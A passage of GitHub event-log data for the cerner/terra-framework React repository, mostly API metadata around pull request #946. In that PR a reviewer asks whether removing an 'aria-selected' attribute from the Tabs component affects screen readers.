/cerner/terra-framework/labels{/name}","releases_url":"https://api.github.com/repos/cerner/terra-framework/releases{/id}","deployments_url":"https://api.github.com/repos/cerner/terra-framework/deployments","created_at":"2017-10-20T20:43:46Z","updated_at":"2019-03-26T19:01:13Z","pushed_at":"2019-03-27T15:36:29Z","git_url":"git://github.com/cerner/terra-framework.git","ssh_url":"git@github.com:cerner/terra-framework.git","clone_url":"https://github.com/cerner/terra-framework.git","svn_url":"https://github.com/cerner/terra-framework","homepage":"http://terra-ui.com","size":48980,"stargazers_count":28,"watchers_count":28,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":21,"mirror_url":null,"archived":false,"open_issues_count":119,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":21,"open_issues":119,"watchers":28,"default_branch":"master"}},"base":{"label":"cerner:master","ref":"master","sha":"8bb100facebd04d23f88f0efda1356cb608e1b3a","user":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"repo":{"id":107724721,"node_id":"MDEwOlJlcG9zaXRvcnkxMDc3MjQ3MjE=","name":"terra-framework","full_name":"cerner/terra-framework","private":false,"owner":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cerner/terra-framework","description":"Terra framework houses composed and higher order react components to help developers quickly build out new applications.","fork":false,"url":"https://api.github.com/repos/cerner/terra-framework","forks_url":"https://api.github.com/repos/cerner/terra-framework/forks","keys_url":"https://api.github.com/repos/cerner/terra-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cerner/terra-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cerner/terra-framework/teams","hooks_url":"https://api.github.com/repos/cerner/terra-framework/hooks","issue_events_url":"https://api.github.com/repos/cerner/terra-framework/issues/events{/number}","events_url":"https://api.github.com/repos/cerner/terra-framework/events","assignees_url":"https://api.github.com/repos/cerner/terra-framework/assignees{/user}","branches_url":"https://api.github.com/repos/cerner/terra-framework/branches{/branch}","tags_url":"https://api.github.com/repos/cerner/terra-framework/tags","blobs_url":"https://api.github.com/repos/cerner/terra-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cerner/terra-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cerner/terra-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/cerner/terra-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cerner/terra-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/cerner/terra-framework/languages","stargazers_url":"https://api.github.com/repos/cerner/terra-framework/stargazers","contributors_url":"https://api.github.com/repos/cerner/terra-framework/contributors","subscribers_url":"https://api.github.com/repos/cerner/terra-framework/subscribers","subscription_url":"https://api.github.com/repos/cerner/terra-framework/subscription","commits_url":"https://api.github.com/repos/cerner/terra-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/cerner/terra-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/cerner/terra-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/cerner/terra-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/cerner/terra-framework/contents/{+path}","compare_url":"https://api.github.com/repos/cerner/terra-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cerner/terra-framework/merges","archive_url":"https://api.github.com/repos/cerner/terra-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cerner/terra-framework/downloads","issues_url":"https://api.github.com/repos/cerner/terra-framework/issues{/number}","pulls_url":"https://api.github.com/repos/cerner/terra-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/cerner/terra-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/cerner/terra-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cerner/terra-framework/labels{/name}","releases_url":"https://api.github.com/repos/cerner/terra-framework/releases{/id}","deployments_url":"https://api.github.com/repos/cerner/terra-framework/deployments","created_at":"2017-10-20T20:43:46Z","updated_at":"2019-03-26T19:01:13Z","pushed_at":"2019-03-27T15:36:29Z","git_url":"git://github.com/cerner/terra-framework.git","ssh_url":"git@github.com:cerner/terra-framework.git","clone_url":"https://github.com/cerner/terra-framework.git","svn_url":"https://github.com/cerner/terra-framework","homepage":"http://terra-ui.com","size":48980,"stargazers_count":28,"watchers_count":28,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":21,"mirror_url":null,"archived":false,"open_issues_count":119,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":21,"open_issues":119,"watchers":28,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/546"},"html":{"href":"https://github.com/cerner/terra-framework/pull/546"},"issue":{"href":"https://api.github.com/repos/cerner/terra-framework/issues/546"},"comments":{"href":"https://api.github.com/repos/cerner/terra-framework/issues/546/comments"},"review_comments":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/546/comments"},"review_comment":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/546/commits"},"statuses":{"href":"https://api.github.com/repos/cerner/terra-framework/statuses/aa61451c7ff48b6a7f205e24d933cfe5c8a806c9"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 107724721,
"name": "cerner/terra-framework",
"url": "https://api.github.com/repos/cerner/terra-framework"
}
|
{
"id": 14063284,
"login": "yuderekyu",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/14063284?",
"url": "https://api.github.com/users/yuderekyu"
}
|
{
"id": 1873208,
"login": "cerner",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1873208?",
"url": "https://api.github.com/orgs/cerner"
}
| 2019-03-27T15:32:46 |
9325728562
|
{"actor":{"display_login":"yuderekyu"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/cerner/terra-framework/pulls/comments/337810726","pull_request_review_id":305584442,"id":337810726,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzNzgxMDcyNg==","diff_hunk":"@@ -161,7 +161,6 @@ class Tabs extends React.Component {\n \n clonedPanes.push(React.cloneElement(child, {\n className: cx([{ 'is-active': isActive }, child.props.className]),\n- 'aria-selected': isActive,","path":"packages/terra-tabs/src/Tabs.jsx","position":4,"original_position":4,"commit_id":"cf87f664191bd0d983e4c198ca7ae7ce8a8b325e","original_commit_id":"cf87f664191bd0d983e4c198ca7ae7ce8a8b325e","user":{"login":"emilyrohrbough","id":14099737,"node_id":"MDQ6VXNlcjE0MDk5NzM3","avatar_url":"https://avatars1.githubusercontent.com/u/14099737?v=4","gravatar_id":"","url":"https://api.github.com/users/emilyrohrbough","html_url":"https://github.com/emilyrohrbough","followers_url":"https://api.github.com/users/emilyrohrbough/followers","following_url":"https://api.github.com/users/emilyrohrbough/following{/other_user}","gists_url":"https://api.github.com/users/emilyrohrbough/gists{/gist_id}","starred_url":"https://api.github.com/users/emilyrohrbough/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emilyrohrbough/subscriptions","organizations_url":"https://api.github.com/users/emilyrohrbough/orgs","repos_url":"https://api.github.com/users/emilyrohrbough/repos","events_url":"https://api.github.com/users/emilyrohrbough/events{/privacy}","received_events_url":"https://api.github.com/users/emilyrohrbough/received_events","type":"User","site_admin":false},"body":"Does removing this aria role affect how the screen readers read this value?","created_at":"2019-10-23T00:57:28Z","updated_at":"2019-10-23T00:57:28Z","html_url":"https://github.com/cerner/terra-framework/pull/946#discussion_r337810726","pull_request_url":"https://api.github.com/repos/cerner/terra-framework/pulls/946","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/comments/337810726"},"html":{"href":"https://github.com/cerner/terra-framework/pull/946#discussion_r337810726"},"pull_request":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/946"}}},"pull_request":{"url":"https://api.github.com/repos/cerner/terra-framework/pulls/946","id":330986368,"node_id":"MDExOlB1bGxSZXF1ZXN0MzMwOTg2MzY4","html_url":"https://github.com/cerner/terra-framework/pull/946","diff_url":"https://github.com/cerner/terra-framework/pull/946.diff","patch_url":"https://github.com/cerner/terra-framework/pull/946.patch","issue_url":"https://api.github.com/repos/cerner/terra-framework/issues/946","number":946,"state":"open","locked":false,"title":"Axe Violations fixed by adding missing/wrong roles.","user":{"login":"saket2403","id":42207428,"node_id":"MDQ6VXNlcjQyMjA3NDI4","avatar_url":"https://avatars3.githubusercontent.com/u/42207428?v=4","gravatar_id":"","url":"https://api.github.com/users/saket2403","html_url":"https://github.com/saket2403","followers_url":"https://api.github.com/users/saket2403/followers","following_url":"https://api.github.com/users/saket2403/following{/other_user}","gists_url":"https://api.github.com/users/saket2403/gists{/gist_id}","starred_url":"https://api.github.com/users/saket2403/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/saket2403/subscriptions","organizations_url":"https://api.github.com/users/saket2403/orgs","repos_url":"https://api.github.com/users/saket2403/repos","events_url":"https://api.github.com/users/saket2403/events{/privacy}","received_events_url":"https://api.github.com/users/saket2403/received_events","type":"User","site_admin":false},"body":"### Summary\r\nFixes #945 ","created_at":"2019-10-22T13:16:34Z","updated_at":"2019-10-23T00:57:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e0602a34266bf52b352e7f74f6214cdc45841399","assignee":{"login":"saket2403","id":42207428,"node_id":"MDQ6VXNlcjQyMjA3NDI4","avatar_url":"https://avatars3.githubusercontent.com/u/42207428?v=4","gravatar_id":"","url":"https://api.github.com/users/saket2403","html_url":"https://github.com/saket2403","followers_url":"https://api.github.com/users/saket2403/followers","following_url":"https://api.github.com/users/saket2403/following{/other_user}","gists_url":"https://api.github.com/users/saket2403/gists{/gist_id}","starred_url":"https://api.github.com/users/saket2403/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/saket2403/subscriptions","organizations_url":"https://api.github.com/users/saket2403/orgs","repos_url":"https://api.github.com/users/saket2403/repos","events_url":"https://api.github.com/users/saket2403/events{/privacy}","received_events_url":"https://api.github.com/users/saket2403/received_events","type":"User","site_admin":false},"assignees":[{"login":"saket2403","id":42207428,"node_id":"MDQ6VXNlcjQyMjA3NDI4","avatar_url":"https://avatars3.githubusercontent.com/u/42207428?v=4","gravatar_id":"","url":"https://api.github.com/users/saket2403","html_url":"https://github.com/saket2403","followers_url":"https://api.github.com/users/saket2403/followers","following_url":"https://api.github.com/users/saket2403/following{/other_user}","gists_url":"https://api.github.com/users/saket2403/gists{/gist_id}","starred_url":"https://api.github.com/users/saket2403/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/saket2403/subscriptions","organizations_url":"https://api.github.com/users/saket2403/orgs","repos_url":"https://api.github.com/users/saket2403/repos","events_url":"https://api.github.com/users/saket2403/events{/privacy}","received_events_url":"https://api.github.com/users/saket2403/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"mjhenkes","id":1588747,"node_id":"MDQ6VXNlcjE1ODg3NDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1588747?v=4","gravatar_id":"","url":"https://api.github.com/users/mjhenkes","html_url":"https://github.com/mjhenkes","followers_url":"https://api.github.com/users/mjhenkes/followers","following_url":"https://api.github.com/users/mjhenkes/following{/other_user}","gists_url":"https://api.github.com/users/mjhenkes/gists{/gist_id}","starred_url":"https://api.github.com/users/mjhenkes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mjhenkes/subscriptions","organizations_url":"https://api.github.com/users/mjhenkes/orgs","repos_url":"https://api.github.com/users/mjhenkes/repos","events_url":"https://api.github.com/users/mjhenkes/events{/privacy}","received_events_url":"https://api.github.com/users/mjhenkes/received_events","type":"User","site_admin":false},{"login":"tbiethman","id":1711637,"node_id":"MDQ6VXNlcjE3MTE2Mzc=","avatar_url":"https://avatars3.githubusercontent.com/u/1711637?v=4","gravatar_id":"","url":"https://api.github.com/users/tbiethman","html_url":"https://github.com/tbiethman","followers_url":"https://api.github.com/users/tbiethman/followers","following_url":"https://api.github.com/users/tbiethman/following{/other_user}","gists_url":"https://api.github.com/users/tbiethman/gists{/gist_id}","starred_url":"https://api.github.com/users/tbiethman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tbiethman/subscriptions","organizations_url":"https://api.github.com/users/tbiethman/orgs","repos_url":"https://api.github.com/users/tbiethman/repos","events_url":"https://api.github.com/users/tbiethman/events{/privacy}","received_events_url":"https://api.github.com/users/tbiethman/received_events","type":"User","site_admin":false},{"login":"jmsv6d","id":4084424,"node_id":"MDQ6VXNlcjQwODQ0MjQ=","avatar_url":"https://avatars3.githubusercontent.com/u/4084424?v=4","gravatar_id":"","url":"https://api.github.com/users/jmsv6d","html_url":"https://github.com/jmsv6d","followers_url":"https://api.github.com/users/jmsv6d/followers","following_url":"https://api.github.com/users/jmsv6d/following{/other_user}","gists_url":"https://api.github.com/users/jmsv6d/gists{/gist_id}","starred_url":"https://api.github.com/users/jmsv6d/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jmsv6d/subscriptions","organizations_url":"https://api.github.com/users/jmsv6d/orgs","repos_url":"https://api.github.com/users/jmsv6d/repos","events_url":"https://api.github.com/users/jmsv6d/events{/privacy}","received_events_url":"https://api.github.com/users/jmsv6d/received_events","type":"User","site_admin":false},{"login":"ryanthemanuel","id":4873279,"node_id":"MDQ6VXNlcjQ4NzMyNzk=","avatar_url":"https://avatars3.githubusercontent.com/u/4873279?v=4","gravatar_id":"","url":"https://api.github.com/users/ryanthemanuel","html_url":"https://github.com/ryanthemanuel","followers_url":"https://api.github.com/users/ryanthemanuel/followers","following_url":"https://api.github.com/users/ryanthemanuel/following{/other_user}","gists_url":"https://api.github.com/users/ryanthemanuel/gists{/gist_id}","starred_url":"https://api.github.com/users/ryanthemanuel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ryanthemanuel/subscriptions","organizations_url":"https://api.github.com/users/ryanthemanuel/orgs","repos_url":"https://api.github.com/users/ryanthemanuel/repos","events_url":"https://api.github.com/users/ryanthemanuel/events{/privacy}","received_events_url":"https://api.github.com/users/ryanthemanuel/received_events","type":"User","site_admin":false},{"login":"nramamurth","id":10090859,"node_id":"MDQ6VXNlcjEwMDkwODU5","avatar_url":"https://avatars1.githubusercontent.com/u/10090859?v=4","gravatar_id":"","url":"https://api.github.com/users/nramamurth","html_url":"https://github.com/nramamurth","followers_url":"https://api.github.com/users/nramamurth/followers","following_url":"https://api.github.com/users/nramamurth/following{/other_user}","gists_url":"https://api.github.com/users/nramamurth/gists{/gist_id}","starred_url":"https://api.github.com/users/nramamurth/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nramamurth/subscriptions","organizations_url":"https://api.github.com/users/nramamurth/orgs","repos_url":"https://api.github.com/users/nramamurth/repos","events_url":"https://api.github.com/users/nramamurth/events{/privacy}","received_events_url":"https://api.github.com/users/nramamurth/received_events","type":"User","site_admin":false},{"login":"supreethmr","id":12869809,"node_id":"MDQ6VXNlcjEyODY5ODA5","avatar_url":"https://avatars1.githubusercontent.com/u/12869809?v=4","gravatar_id":"","url":"https://api.github.com/users/supreethmr","html_url":"https://github.com/supreethmr","followers_url":"https://api.github.com/users/supreethmr/followers","following_url":"https://api.github.com/users/supreethmr/following{/other_user}","gists_url":"https://api.github.com/users/supreethmr/gists{/gist_id}","starred_url":"https://api.github.com/users/supreethmr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/supreethmr/subscriptions","organizations_url":"https://api.github.com/users/supreethmr/orgs","repos_url":"https://api.github.com/users/supreethmr/repos","events_url":"https://api.github.com/users/supreethmr/events{/privacy}","received_events_url":"https://api.github.com/users/supreethmr/received_events","type":"User","site_admin":false},{"login":"lokesh-0813","id":16148882,"node_id":"MDQ6VXNlcjE2MTQ4ODgy","avatar_url":"https://avatars1.githubusercontent.com/u/16148882?v=4","gravatar_id":"","url":"https://api.github.com/users/lokesh-0813","html_url":"https://github.com/lokesh-0813","followers_url":"https://api.github.com/users/lokesh-0813/followers","following_url":"https://api.github.com/users/lokesh-0813/following{/other_user}","gists_url":"https://api.github.com/users/lokesh-0813/gists{/gist_id}","starred_url":"https://api.github.com/users/lokesh-0813/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lokesh-0813/subscriptions","organizations_url":"https://api.github.com/users/lokesh-0813/orgs","repos_url":"https://api.github.com/users/lokesh-0813/repos","events_url":"https://api.github.com/users/lokesh-0813/events{/privacy}","received_events_url":"https://api.github.com/users/lokesh-0813/received_events","type":"User","site_admin":false},{"login":"pranav300","id":29273628,"node_id":"MDQ6VXNlcjI5MjczNjI4","avatar_url":"https://avatars1.githubusercontent.com/u/29273628?v=4","gravatar_id":"","url":"https://api.github.com/users/pranav300","html_url":"https://github.com/pranav300","followers_url":"https://api.github.com/users/pranav300/followers","following_url":"https://api.github.com/users/pranav300/following{/other_user}","gists_url":"https://api.github.com/users/pranav300/gists{/gist_id}","starred_url":"https://api.github.com/users/pranav300/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pranav300/subscriptions","organizations_url":"https://api.github.com/users/pranav300/orgs","repos_url":"https://api.github.com/users/pranav300/repos","events_url":"https://api.github.com/users/pranav300/events{/privacy}","received_events_url":"https://api.github.com/users/pranav300/received_events","type":"User","site_admin":false},{"login":"ShettyAkarsh","id":45097016,"node_id":"MDQ6VXNlcjQ1MDk3MDE2","avatar_url":"https://avatars2.githubusercontent.com/u/45097016?v=4","gravatar_id":"","url":"https://api.github.com/users/ShettyAkarsh","html_url":"https://github.com/ShettyAkarsh","followers_url":"https://api.github.com/users/ShettyAkarsh/followers","following_url":"https://api.github.com/users/ShettyAkarsh/following{/other_user}","gists_url":"https://api.github.com/users/ShettyAkarsh/gists{/gist_id}","starred_url":"https://api.github.com/users/ShettyAkarsh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ShettyAkarsh/subscriptions","organizations_url":"https://api.github.com/users/ShettyAkarsh/orgs","repos_url":"https://api.github.com/users/ShettyAkarsh/repos","events_url":"https://api.github.com/users/ShettyAkarsh/events{/privacy}","received_events_url":"https://api.github.com/users/ShettyAkarsh/received_events","type":"User","site_admin":false},{"login":"avinashg1994","id":50138162,"node_id":"MDQ6VXNlcjUwMTM4MTYy","avatar_url":"https://avatars3.githubusercontent.com/u/50138162?v=4","gravatar_id":"","url":"https://api.github.com/users/avinashg1994","html_url":"https://github.com/avinashg1994","followers_url":"https://api.github.com/users/avinashg1994/followers","following_url":"https://api.github.com/users/avinashg1994/following{/other_user}","gists_url":"https://api.github.com/users/avinashg1994/gists{/gist_id}","starred_url":"https://api.github.com/users/avinashg1994/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/avinashg1994/subscriptions","organizations_url":"https://api.github.com/users/avinashg1994/orgs","repos_url":"https://api.github.com/users/avinashg1994/repos","events_url":"https://api.github.com/users/avinashg1994/events{/privacy}","received_events_url":"https://api.github.com/users/avinashg1994/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":821849602,"node_id":"MDU6TGFiZWw4MjE4NDk2MDI=","url":"https://api.github.com/repos/cerner/terra-framework/labels/aggregator","name":"aggregator","color":"18bf3f","default":false},{"id":1158088919,"node_id":"MDU6TGFiZWwxMTU4MDg4OTE5","url":"https://api.github.com/repos/cerner/terra-framework/labels/collapsible-menu-view","name":"collapsible-menu-view","color":"f9d0c4","default":false},{"id":1159480580,"node_id":"MDU6TGFiZWwxMTU5NDgwNTgw","url":"https://api.github.com/repos/cerner/terra-framework/labels/tabs","name":"tabs","color":"ffacfb","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/cerner/terra-framework/pulls/946/commits","review_comments_url":"https://api.github.com/repos/cerner/terra-framework/pulls/946/comments","review_comment_url":"https://api.github.com/repos/cerner/terra-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/cerner/terra-framework/issues/946/comments","statuses_url":"https://api.github.com/repos/cerner/terra-framework/statuses/cf87f664191bd0d983e4c198ca7ae7ce8a8b325e","head":{"label":"cerner:missing-roles","ref":"missing-roles","sha":"cf87f664191bd0d983e4c198ca7ae7ce8a8b325e","user":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"repo":{"id":107724721,"node_id":"MDEwOlJlcG9zaXRvcnkxMDc3MjQ3MjE=","name":"terra-framework","full_name":"cerner/terra-framework","private":false,"owner":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cerner/terra-framework","description":"Terra framework houses composed and higher order react components to help developers quickly build out new applications.","fork":false,"url":"https://api.github.com/repos/cerner/terra-framework","forks_url":"https://api.github.com/repos/cerner/terra-framework/forks","keys_url":"https://api.github.com/repos/cerner/terra-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cerner/terra-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cerner/terra-framework/teams","hooks_url":"https://api.github.com/repos/cerner/terra-framework/hooks","issue_events_url":"https://api.github.com/repos/cerner/terra-framework/issues/events{/number}","events_url":"https://api.github.com/repos/cerner/terra-framework/events","assignees_url":"https://api.github.com/repos/cerner/terra-framework/assignees{/user}","branches_url":"https://api.github.com/repos/cerner/terra-framework/branches{/branch}","tags_url":"https://api.github.com/repos/cerner/terra-framework/tags","blobs_url":"https://api.github.com/repos/cerner/terra-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cerner/terra-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cerner/terra-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/cerner/terra-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cerner/terra-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/cerner/terra-framework/languages","stargazers_url":"https://api.github.com/repos/cerner/terra-framework/stargazers","contributors_url":"https://api.github.com/repos/cerner/terra-framework/contributors","subscribers_url":"https://api.github.com/repos/cerner/terra-framework/subscribers","subscription_url":"https://api.github.com/repos/cerner/terra-framework/subscription","commits_url":"https://api.github.com/repos/cerner/terra-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/cerner/terra-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/cerner/terra-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/cerner/terra-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/cerner/terra-framework/contents/{+path}","compare_url":"https://api.github.com/repos/cerner/terra-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cerner/terra-framework/merges","archive_url":"https://api.github.com/repos/cerner/terra-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cerner/terra-framework/downloads","issues_url":"https://api.github.com/repos/cerner/terra-framework/issues{/number}","pulls_url":"https://api.github.com/repos/cerner/terra-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/cerner/terra-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/cerner/terra-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cerner/terra-framework/labels{/name}","releases_url":"https://api.github.com/repos/cerner/terra-framework/releases{/id}","deployments_url":"https://api.github.com/repos/cerner/terra-framework/deployments","created_at":"2017-10-20T20:43:46Z","updated_at":"2019-10-22T17:53:07Z","pushed_at":"2019-10-22T19:53:52Z","git_url":"git://github.com/cerner/terra-framework.git","ssh_url":"git@github.com:cerner/terra-framework.git","clone_url":"https://github.com/cerner/terra-framework.git","svn_url":"https://github.com/cerner/terra-framework","homepage":"http://terra-ui.com","size":85095,"stargazers_count":44,"watchers_count":44,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":96,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":30,"open_issues":96,"watchers":44,"default_branch":"master"}},"base":{"label":"cerner:master","ref":"master","sha":"2b1193293ab978a701f1cf0cfe4a49f80a94c40b","user":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"repo":{"id":107724721,"node_id":"MDEwOlJlcG9zaXRvcnkxMDc3MjQ3MjE=","name":"terra-framework","full_name":"cerner/terra-framework","private":false,"owner":{"login":"cerner","id":1873208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NzMyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1873208?v=4","gravatar_id":"","url":"https://api.github.com/users/cerner","html_url":"https://github.com/cerner","followers_url":"https://api.github.com/users/cerner/followers","following_url":"https://api.github.com/users/cerner/following{/other_user}","gists_url":"https://api.github.com/users/cerner/gists{/gist_id}","starred_url":"https://api.github.com/users/cerner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerner/subscriptions","organizations_url":"https://api.github.com/users/cerner/orgs","repos_url":"https://api.github.com/users/cerner/repos","events_url":"https://api.github.com/users/cerner/events{/privacy}","received_events_url":"https://api.github.com/users/cerner/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cerner/terra-framework","description":"Terra framework houses composed and higher order react components to help developers quickly build out new 